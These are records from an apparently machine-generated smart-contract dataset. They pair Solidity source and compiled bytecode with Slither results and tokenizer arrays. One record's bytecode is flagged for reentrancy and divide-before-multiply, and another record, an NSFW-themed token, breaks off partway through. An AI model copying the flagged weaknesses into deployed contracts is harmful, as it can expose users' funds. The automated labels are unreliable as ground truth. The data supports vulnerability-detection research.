ffffff166340c10f19600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166008546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561093c57600080fd5b505af1158015610950573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600854600754036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600554026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610b4457600080fd5b505af1158015610b58573d6000803e3d6000fd5b5050505060028060146101000a81548160ff02191690836002811115610b7a57fe5b021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0057fe5b60006002811115610c0d57fe5b600260149054906101000a900460ff166002811115610c2857fe5b141515610c3457600080fd5b600354816004540111151515610c4957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610d0e57600080fd5b505af1158015610d22573d6000803e3d6000fd5b50505050806004600082825401925050819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1557fe5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582048029090c65ab5cb8edbb622aaefabaf9fca97da451526dd2a01bd502c1adfcb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
11387,
16932,
14697,
2497,
2475,
2278,
2683,
17914,
2063,
23777,
7959,
21472,
26187,
2278,
20842,
2278,
2475,
2278,
2692,
2497,
2487,
2497,
21472,
2692,
29097,
3206,
3647,
18900,
2232,
1063,
21318,
3372,
17788,
2575,
5377,
2270,
4098,
1035,
21318,
3372,
17788,
2575,
1027,
1014,
2595,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
4246,
1025,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
5377,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1062,
1007,
1063,
5478,
1006,
1060,
1026,
1027,
4098,
1035,
21318,
3372,
17788,
2575,
1011,
1061,
1007,
1025,
2709,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,466 | 0x9533ea190c28EFaF29a32350aCAe2621f61c944d | // File: contracts/interfaces/IERC20Token.sol
pragma solidity 0.6.12;
/*
ERC20 Standard Token interface
*/
interface IERC20Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
}
// File: contracts/utility/Utils.sol
pragma solidity 0.6.12;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 _value) {
_greaterThanZero(_value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 _value) internal pure {
require(_value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
_validAddress(_address);
_;
}
// error message binary size optimization
function _validAddress(address _address) internal pure {
require(_address != address(0), "ERR_INVALID_ADDRESS");
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
_notThis(_address);
_;
}
// error message binary size optimization
function _notThis(address _address) internal view {
require(_address != address(this), "ERR_ADDRESS_IS_SELF");
}
}
// File: contracts/utility/SafeMath.sol
pragma solidity 0.6.12;
/**
* @dev Library for basic math operations with overflow/underflow protection
*/
library SafeMath {
/**
* @dev returns the sum of _x and _y, reverts if the calculation overflows
*
* @param _x value 1
* @param _y value 2
*
* @return sum
*/
function add(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
require(z >= _x, "ERR_OVERFLOW");
return z;
}
/**
* @dev returns the difference of _x minus _y, reverts if the calculation underflows
*
* @param _x minuend
* @param _y subtrahend
*
* @return difference
*/
function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_x >= _y, "ERR_UNDERFLOW");
return _x - _y;
}
/**
* @dev returns the product of multiplying _x by _y, reverts if the calculation overflows
*
* @param _x factor 1
* @param _y factor 2
*
* @return product
*/
function mul(uint256 _x, uint256 _y) internal pure returns (uint256) {
// gas optimization
if (_x == 0)
return 0;
uint256 z = _x * _y;
require(z / _x == _y, "ERR_OVERFLOW");
return z;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*
* @param _x dividend
* @param _y divisor
*
* @return quotient
*/
function div(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_y > 0, "ERR_DIVIDE_BY_ZERO");
uint256 c = _x / _y;
return c;
}
}
// File: contracts/ERC20Token.sol
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/**
* @dev ERC20 Standard Token implementation
*/
contract ERC20Token is IERC20Token, Utils {
using SafeMath for uint256;
string public override name;
string public override symbol;
uint8 public override decimals;
uint256 public override totalSupply;
mapping (address => uint256) public override balanceOf;
mapping (address => mapping (address => uint256)) public override allowance;
/**
* @dev triggered when tokens are transferred between wallets
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev triggered when a wallet allows another wallet to transfer tokens from on its behalf
*
* @param _owner wallet that approves the allowance
* @param _spender wallet that receives the allowance
* @param _value allowance amount
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* @dev initializes a new ERC20Token instance
*
* @param _name token name
* @param _symbol token symbol
* @param _decimals decimal points, for display purposes
* @param _totalSupply total supply of token units
*/
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public {
// validate input
require(bytes(_name).length > 0, "ERR_INVALID_NAME");
require(bytes(_symbol).length > 0, "ERR_INVALID_SYMBOL");
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
}
/**
* @dev transfers tokens to a given address
* throws on any error rather then return a false flag to minimize user errors
*
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
virtual
override
validAddress(_to)
returns (bool)
{
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfers tokens to a given address on behalf of another address
* throws on any error rather then return a false flag to minimize user errors
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
virtual
override
validAddress(_from)
validAddress(_to)
returns (bool)
{
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev allows another account/contract to transfers tokens on behalf of the caller
* throws on any error rather then return a false flag to minimize user errors
*
* also, to minimize the risk of the approve/transferFrom attack vector
* (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice
* in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value
*
* @param _spender approved address
* @param _value allowance amount
*
* @return true if the approval was successful, false if it wasn't
*/
function approve(address _spender, uint256 _value)
public
virtual
override
validAddress(_spender)
returns (bool)
{
// if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal
require(_value == 0 || allowance[msg.sender][_spender] == 0, "ERR_INVALID_AMOUNT");
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
// File: contracts/utility/interfaces/IOwned.sol
pragma solidity 0.6.12;
/*
Owned contract interface
*/
interface IOwned {
// this function isn't since the compiler emits automatically generated getter functions as external
function owner() external view returns (address);
function transferOwnership(address _newOwner) external;
function acceptOwnership() external;
}
// File: contracts/utility/interfaces/ITokenHolder.sol
pragma solidity 0.6.12;
/*
Token Holder interface
*/
interface ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) external;
}
// File: contracts/utility/interfaces/IConverterAnchor.sol
pragma solidity 0.6.12;
/*
Converter Anchor interface
*/
interface IConverterAnchor is IOwned, ITokenHolder {
}
// File: contracts/interfaces/ISmartToken.sol
pragma solidity 0.6.12;
/*
Smart Token interface
*/
interface ISmartToken is IConverterAnchor, IERC20Token {
function disableTransfers(bool _disable) external;
function issue(address _to, uint256 _amount) external;
function destroy(address _from, uint256 _amount) external;
}
// File: contracts/utility/Owned.sol
pragma solidity 0.6.12;
/**
* @dev Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public override owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
_ownerOnly();
_;
}
// error message binary size optimization
function _ownerOnly() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public override ownerOnly {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() override public {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// File: contracts/utility/TokenHandler.sol
pragma solidity 0.6.12;
contract TokenHandler {
bytes4 private constant APPROVE_FUNC_SELECTOR = bytes4(keccak256("approve(address,uint256)"));
bytes4 private constant TRANSFER_FUNC_SELECTOR = bytes4(keccak256("transfer(address,uint256)"));
bytes4 private constant TRANSFER_FROM_FUNC_SELECTOR = bytes4(keccak256("transferFrom(address,address,uint256)"));
/**
* @dev executes the ERC20 token's `approve` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _spender approved address
* @param _value allowance amount
*/
function safeApprove(IERC20Token _token, address _spender, uint256 _value) internal {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(APPROVE_FUNC_SELECTOR, _spender, _value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERR_APPROVE_FAILED');
}
/**
* @dev executes the ERC20 token's `transfer` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _to target address
* @param _value transfer amount
*/
function safeTransfer(IERC20Token _token, address _to, uint256 _value) internal {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(TRANSFER_FUNC_SELECTOR, _to, _value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERR_TRANSFER_FAILED');
}
/**
* @dev executes the ERC20 token's `transferFrom` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
function safeTransferFrom(IERC20Token _token, address _from, address _to, uint256 _value) internal {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(TRANSFER_FROM_FUNC_SELECTOR, _from, _to, _value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERR_TRANSFER_FROM_FAILED');
}
}
// File: contracts/utility/TokenHolder.sol
pragma solidity 0.6.12;
/**
* @dev We consider every contract to be a 'token holder' since it's currently not possible
* for a contract to deny receiving tokens.
*
* The TokenHolder's contract sole purpose is to provide a safety mechanism that allows
* the owner to send tokens that were sent to the contract by mistake back to their sender.
*
* Note that we use the non standard ERC-20 interface which has no return value for transfer
* in order to support both non standard as well as standard token contracts.
* see https://github.com/ethereum/solidity/issues/4116
*/
contract TokenHolder is ITokenHolder, TokenHandler, Owned, Utils {
/**
* @dev withdraws tokens held by the contract and sends them to an account
* can only be called by the owner
*
* @param _token ERC20 token contract address
* @param _to account to receive the new amount
* @param _amount amount to withdraw
*/
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
virtual
override
ownerOnly
validAddress(address(_token))
validAddress(_to)
notThis(_to)
{
safeTransfer(_token, _to, _amount);
}
}
// File: contracts/SmartToken.sol
pragma solidity 0.6.12;
/**
* @dev Smart Token
*
* 'Owned' is specified here for readability reasons
*/
contract SmartToken is ISmartToken, Owned, ERC20Token, TokenHolder {
using SafeMath for uint256;
uint16 public constant version = 4;
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false otherwise
/**
* @dev triggered when the total supply is increased
*
* @param _amount amount that gets added to the supply
*/
event Issuance(uint256 _amount);
/**
* @dev triggered when the total supply is decreased
*
* @param _amount amount that gets removed from the supply
*/
event Destruction(uint256 _amount);
/**
* @dev initializes a new SmartToken instance
*
* @param _name token name
* @param _symbol token short symbol, minimum 1 character
* @param _decimals for display purposes only
*/
constructor(string memory _name, string memory _symbol, uint8 _decimals)
public
ERC20Token(_name, _symbol, _decimals, 0)
{
}
// allows execution only when transfers are enabled
modifier transfersAllowed {
_transfersAllowed();
_;
}
// error message binary size optimization
function _transfersAllowed() internal view {
require(transfersEnabled, "ERR_TRANSFERS_DISABLED");
}
/**
* @dev disables/enables transfers
* can only be called by the contract owner
*
* @param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public override ownerOnly {
transfersEnabled = !_disable;
}
/**
* @dev increases the token supply and sends the new tokens to the given account
* can only be called by the contract owner
*
* @param _to account to receive the new amount
* @param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
override
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = totalSupply.add(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Issuance(_amount);
emit Transfer(address(0), _to, _amount);
}
/**
* @dev removes tokens from the given account and decreases the token supply
* can only be called by the contract owner
*
* @param _from account to remove the amount from
* @param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public override ownerOnly {
balanceOf[_from] = balanceOf[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Transfer(_from, address(0), _amount);
emit Destruction(_amount);
}
// ERC20 standard method overrides with some extra functionality
/**
* @dev send coins
* throws on any error rather then return a false flag to minimize user errors
* in addition to the standard checks, the function throws if transfers are disabled
*
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
override(IERC20Token, ERC20Token)
transfersAllowed
returns (bool)
{
return super.transfer(_to, _value);
}
/**
* @dev an account/contract attempts to get the coins
* throws on any error rather then return a false flag to minimize user errors
* in addition to the standard checks, the function throws if transfers are disabled
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
override(IERC20Token, ERC20Token)
transfersAllowed
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806379ba5097116100ad578063a9059cbb11610071578063a9059cbb14610379578063bef97c87146103a5578063d4ee1d90146103ad578063dd62ed3e146103b5578063f2fde38b146103e357610121565b806379ba5097146102ed578063867904b4146102f55780638da5cb5b1461032157806395d89b4114610345578063a24835d11461034d57610121565b806323b872dd116100f457806323b872dd1461021e578063313ce5671461025457806354fd4d50146102725780635e35359e1461029157806370a08231146102c757610121565b806306fdde0314610126578063095ea7b3146101a35780631608f18f146101e357806318160ddd14610204575b600080fd5b61012e610409565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610494565b604080519115158252519081900360200190f35b610202600480360360208110156101f957600080fd5b5035151561057c565b005b61020c610596565b60408051918252519081900360200190f35b6101cf6004803603606081101561023457600080fd5b506001600160a01b0381358116916020810135909116906040013561059c565b61025c6105b9565b6040805160ff9092168252519081900360200190f35b61027a6105c2565b6040805161ffff9092168252519081900360200190f35b610202600480360360608110156102a757600080fd5b506001600160a01b038135811691602081013590911690604001356105c7565b61020c600480360360208110156102dd57600080fd5b50356001600160a01b0316610600565b610202610612565b6102026004803603604081101561030b57600080fd5b506001600160a01b0381351690602001356106c9565b61032961079f565b604080516001600160a01b039092168252519081900360200190f35b61012e6107ae565b6102026004803603604081101561036357600080fd5b506001600160a01b038135169060200135610809565b6101cf6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356108c3565b6101cf6108de565b6103296108e7565b61020c600480360360408110156103cb57600080fd5b506001600160a01b03813581169160200135166108f6565b610202600480360360208110156103f957600080fd5b50356001600160a01b0316610913565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b505050505081565b6000826104a081610991565b8215806104ce57503360009081526007602090815260408083206001600160a01b0388168452909152902054155b610514576040805162461bcd60e51b815260206004820152601260248201527111549497d253959053125117d05353d5539560721b604482015290519081900360640190fd5b3360008181526007602090815260408083206001600160a01b03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6105846109e5565b6008805460ff19169115919091179055565b60055481565b60006105a6610a3a565b6105b1848484610a8a565b949350505050565b60045460ff1681565b600481565b6105cf6109e5565b826105d981610991565b826105e381610991565b836105ed81610b89565b6105f8868686610bdd565b505050505050565b60066020526000908152604090205481565b6001546001600160a01b03163314610665576040805162461bcd60e51b815260206004820152601160248201527011549497d050d0d154d4d7d11153925151607a1b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a91a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6106d16109e5565b816106db81610991565b826106e581610b89565b6005546106f29084610d3d565b6005556001600160a01b0384166000908152600660205260409020546107189084610d3d565b6001600160a01b03851660009081526006602090815260409182902092909255805185815290517f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3929181900390910190a16040805184815290516001600160a01b03861691600091600080516020610e738339815191529181900360200190a350505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048c5780601f106104615761010080835404028352916020019161048c565b6108116109e5565b6001600160a01b0382166000908152600660205260409020546108349082610d86565b6001600160a01b03831660009081526006602052604090205560055461085a9082610d86565b6005556040805182815290516000916001600160a01b03851691600080516020610e738339815191529181900360200190a36040805182815290517f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd34539181900360200190a15050565b60006108cd610a3a565b6108d78383610dd3565b9392505050565b60085460ff1681565b6001546001600160a01b031681565b600760209081526000928352604080842090915290825290205481565b61091b6109e5565b6000546001600160a01b038281169116141561096f576040805162461bcd60e51b815260206004820152600e60248201526d22a9292fa9a0a6a2afa7aba722a960911b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166109e2576040805162461bcd60e51b81526020600482015260136024820152724552525f494e56414c49445f4144445245535360681b604482015290519081900360640190fd5b50565b6000546001600160a01b03163314610a38576040805162461bcd60e51b815260206004820152601160248201527011549497d050d0d154d4d7d11153925151607a1b604482015290519081900360640190fd5b565b60085460ff16610a38576040805162461bcd60e51b815260206004820152601660248201527511549497d514905394d1915494d7d11254d05093115160521b604482015290519081900360640190fd5b600083610a9681610991565b83610aa081610991565b6001600160a01b0386166000908152600760209081526040808320338452909152902054610ace9085610d86565b6001600160a01b038716600081815260076020908152604080832033845282528083209490945591815260069091522054610b099085610d86565b6001600160a01b038088166000908152600660205260408082209390935590871681522054610b389085610d3d565b6001600160a01b0380871660008181526006602090815260409182902094909455805188815290519193928a1692600080516020610e7383398151915292918290030190a350600195945050505050565b6001600160a01b0381163014156109e2576040805162461bcd60e51b815260206004820152601360248201527222a9292fa0a2222922a9a9afa4a9afa9a2a62360691b604482015290519081900360640190fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b60208310610c5a5780518252601f199092019160209182019101610c3b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610cbc576040519150601f19603f3d011682016040523d82523d6000602084013e610cc1565b606091505b5091509150818015610cef575080511580610cef5750808060200190516020811015610cec57600080fd5b50515b610d36576040805162461bcd60e51b815260206004820152601360248201527211549497d514905394d1915497d19052531151606a1b604482015290519081900360640190fd5b5050505050565b6000828201838110156108d7576040805162461bcd60e51b815260206004820152600c60248201526b4552525f4f564552464c4f5760a01b604482015290519081900360640190fd5b600081831015610dcd576040805162461bcd60e51b815260206004820152600d60248201526c4552525f554e444552464c4f5760981b604482015290519081900360640190fd5b50900390565b600082610ddf81610991565b33600090815260066020526040902054610df99084610d86565b33600090815260066020526040808220929092556001600160a01b03861681522054610e259084610d3d565b6001600160a01b038516600081815260066020908152604091829020939093558051868152905191923392600080516020610e738339815191529281900390910190a3506001939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202dda3f19c9e07f98e8155f5c655e1d5e924e9b77caa7be075f262ebfb9510df164736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2509,
5243,
16147,
2692,
2278,
22407,
12879,
10354,
24594,
2050,
16703,
19481,
2692,
19629,
2063,
23833,
17465,
2546,
2575,
2487,
2278,
2683,
22932,
2094,
1013,
1013,
5371,
1024,
8311,
1013,
19706,
1013,
29464,
11890,
11387,
18715,
2368,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
9413,
2278,
11387,
3115,
19204,
8278,
1008,
1013,
8278,
29464,
11890,
11387,
18715,
2368,
1063,
3853,
2171,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,467 | 0x9533f0d097f98c6786ff0596a3e418b397ae995c | /**
Meta Girlfriends, each Meta Girlfriend Comes With Private NSFW Content
The first NSFW token/NFTs on the Ethereum network
Website: https://metagftoken.com/
Telegram: https://t.me/MetaGF_ERC
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MetaGirlfriends is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Meta Girlfriends";
